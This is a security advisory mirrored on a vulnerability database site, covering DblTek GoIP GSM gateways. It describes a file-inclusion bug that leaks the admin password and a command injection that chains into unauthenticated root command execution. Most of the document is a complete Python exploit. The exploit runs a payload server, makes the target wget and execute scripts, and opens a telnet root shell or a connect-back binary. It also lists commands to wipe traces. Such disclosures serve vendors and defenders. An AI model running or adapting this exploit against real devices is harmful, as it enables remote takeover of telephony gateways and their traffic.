Lucene search
K

DblTek GoIP GSM Gateway Multiple Vulnerabilities

🗓️ 27 Nov 2017 00:00:00Reported by botType 
zdt
 zdt
🔗 0day.today👁 265 Views

DblTek GoIP GSM Gateway Multiple Vulnerabilities described. Pre-authentication information disclosure and unauthenticated remote command execution are possible through the webserver. Vendor has provided patches to address the vulnerabilities

Code
DblTek GoIP GSM Gateway Multiple Vulnerabilities

Vulnerabilities summary

The following advisory describes 2 (two) vulnerabilities found in DblTek webserver.

DBL is “specialized in VoIP products, especially GoIPs. We design, develop, manufacture, and sell our products directly and via distributors to customers. Our GoIP models now cover 1, 4, 8, 16, and 32-channel in order to meet the wide range of market demands. All our products are priced very attractively and probably the lowest in the market. Because of the price and performance, GoIPs have been widely adopted by system integrators, VoIP service providers, and many other business and individual users.”

The vulnerabilities found are:

    Pre-authentication Information Disclosure
    Command Execution

It is possible to combine the 2 vulnerabilities and gain unauthenticated remote command execution.
Credit

An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response

DblTek has released patches to address those vulnerabilities.
Vulnerabilities details

User controlled input is not sufficiently sanitized and can trigger Local File Inclusion.

By sending GET request to /dev/mtdblock/5 an attacker can download the configuration file that contain admin password:

GET /default/en_US/frame.html?content=/dev/mtdblock/5

After we got the admin password, we can send a POST request to change_password.csp and trigget the second vulnerability.

User controlled input is not sufficiently sanitized when pass to change_password.csp. An attacker can inject script containing malicious commands in a configuration variable and execute it.

POST /default/en_US/change_password.csp
Content-Type: application/x-www-form-urlencoded
Authorization: Basic ###BASE64("admin", ###LEAKED_PASSWORD###)###
level=user&user_level_enable=on&passwd=<%%25call system.exec: ###MALICIOUS_COMMAND###>

Proof of Concept

Unauthenticated Remote Command Execution:

#!/usr/bin/python3

from http.server import BaseHTTPRequestHandler, HTTPServer
import os, sys, base64, bz2, socket, argparse, threading, requests, re

PAYLOAD0 = '''#!/bin/sh
rm -f /tmp/y
/bin/busybox telnetd -l /bin/sh -p %d &
'''

PAYLOAD1 = '''#!/bin/sh
rm -f /tmp/y /tmp/p
wget -O /tmp/p http://%s:%d/prism
chmod 755 /tmp/p
/tmp/p
'''

class Handler(BaseHTTPRequestHandler):
    PRISM_PORT = 1337
    TELNET_PORT = 23

    def do_GET(self):
        if self.path == '/0':
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            payload = PAYLOAD0 % Handler.TELNET_PORT
            self.wfile.write(payload.encode())
            return
        if self.path == '/1':
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            payload = PAYLOAD1 % (Handler.HTTP_ADDR, Handler.HTTP_PORT)
            self.wfile.write(payload.encode())
            return
        if self.path == '/prism':
            self.send_response(200)
            self.send_header('Content-type', 'octet/stream')
            self.end_headers()
            self.wfile.write(prism(Handler.HTTP_ADDR, Handler.PRISM_PORT))
            return
        self.send_response(404)

    def log_message(self, format, *args):
        print(' -- SERVING ' + format % args)

class Server(threading.Thread):
    def __init__(self, addr='0.0.0.0', port=8080):
        threading.Thread.__init__(self)
        Handler.HTTP_ADDR = addr
        Handler.HTTP_PORT = port
        self.httpd = HTTPServer((addr, port), Handler)

    def set(mime, data):
        self.RequestHandlerClass.mime = mime
        self.RequestHandlerClass.data = data

    def run(self):
        print(' - Starting server http://%s:%s' % self.httpd.socket.getsockname())
        self.httpd.serve_forever()

    def stop(self):
        print(' - Stopping server')
        self.httpd.shutdown()

def prism(host, port):
    pyfile = open(os.path.realpath(__file__), 'r')
    data, skip = '', True
    for line in pyfile:
        if skip and line != '""" PRISM ARM V5L\n':
            continue
        if line == '"""\n':
            break
        if not skip:
            data += line.strip()
        skip = False
    port = str(port)
    bhost = host.encode() + (b'\0' * (16 - len(host)))
    bport = port.encode() + (b'\0' * ( 6 - len(port)))
    binary = bytearray(bz2.decompress(base64.b64decode(data)))
    binary[0x7810:0x7810+16] = bhost
    binary[0x7820:0x7820+ 6] = bport
    return binary

def getip(host):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect((host, 1337))
    return s.getsockname()[0]

def get(url):
    print(' -- GET %s' % url)
    response = requests.get(url)
    return response.text

def post(url, password, data):
    print(' -- POST %s' % url)
    header = { 'Content-Type': 'application/x-www-form-urlencoded' }
    auth = requests.auth.HTTPBasicAuth('admin', password)
    response = requests.post(url, auth=auth, data=data, headers=header)
    return response.text

def attack_leak(target, variable):
    print(' - Dumping configuration (variable=%s)' % variable)
    config = get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target)
    m = re.search(r'%s="(.*)"' % variable, config)
    if not m:
        print('Cannot leak variable %s :(' % variable)
        sys.exit(1)
    return m.group(1)

def attack_exec(target, password, command):
    print(' - Executing "%s"' % command)
    argv = ', '.join(command.split())
    data = 'level=user&user_level_enable=on&passwd=<%%25call system.exec: %s>' % argv
    post('http://%s/default/en_US/change_password.csp' % target, password, data)
    get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target)

# Parsing attacker input
parser = argparse.ArgumentParser(description='DBLTek Unauthenticated Pre-Auth RCE as root', epilog="""
Available modes are:

 1 - Use telnetd on port %d
 2 - Use prism daemon with port %d 

""" % (Handler.TELNET_PORT, Handler.PRISM_PORT), formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-a', '--addr', dest='addr', type=str, default=None, help="http server address")
parser.add_argument('-p', '--port', dest='port', type=int, default=8080, help="http server port (default: 8080)")
parser.add_argument('-m', '--mode', dest='mode', type=int, default=0, help="attack mode (default 0)")
parser.add_argument('target')

args = parser.parse_args(sys.argv[1:])

# Get local address based on target address and routes
myaddr = getip(args.target)
myport = args.port

# Start payload delivery server
server = Server(args.addr or myaddr, myport)
server.start()

try:
    # Leak ADMIN_PASSWORD
    password = attack_leak(args.target, 'ADMIN_PASSWORD')
    print(" -- ADMIN_PASSWORD = '%s'" % password)

    attack_exec(args.target, password, "/bin/wget -O /tmp/y http://%s:%d/%d" % (myaddr, myport, args.mode))
    attack_exec(args.target, password, "/bin/sh /tmp/y")

    print(""" - Use these commands to wipe:
 -- => setsyscfg USER_PASSWORD=
 -- => setsyscfg USER_LEVEL_ENABLE=0""")

    if args.mode == 0:
        print(" - Telnet to %s port %d" % (args.target, Handler.TELNET_PORT))
        os.system("telnet %s %d" % (args.target, Handler.TELNET_PORT))
    if args.mode == 1:
        print(" - Listen on %s:%d (wait 15 seconds at least)" % (myaddr, Handler.PRISM_PORT))
        os.system("nc -l -p %d" % Handler.PRISM_PORT)

except RuntimeError as e:
    print(" - Failed :(")
    pass

# Stop payload delivery server
server.stop()
server.join()

#  0day.today [2018-03-28]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation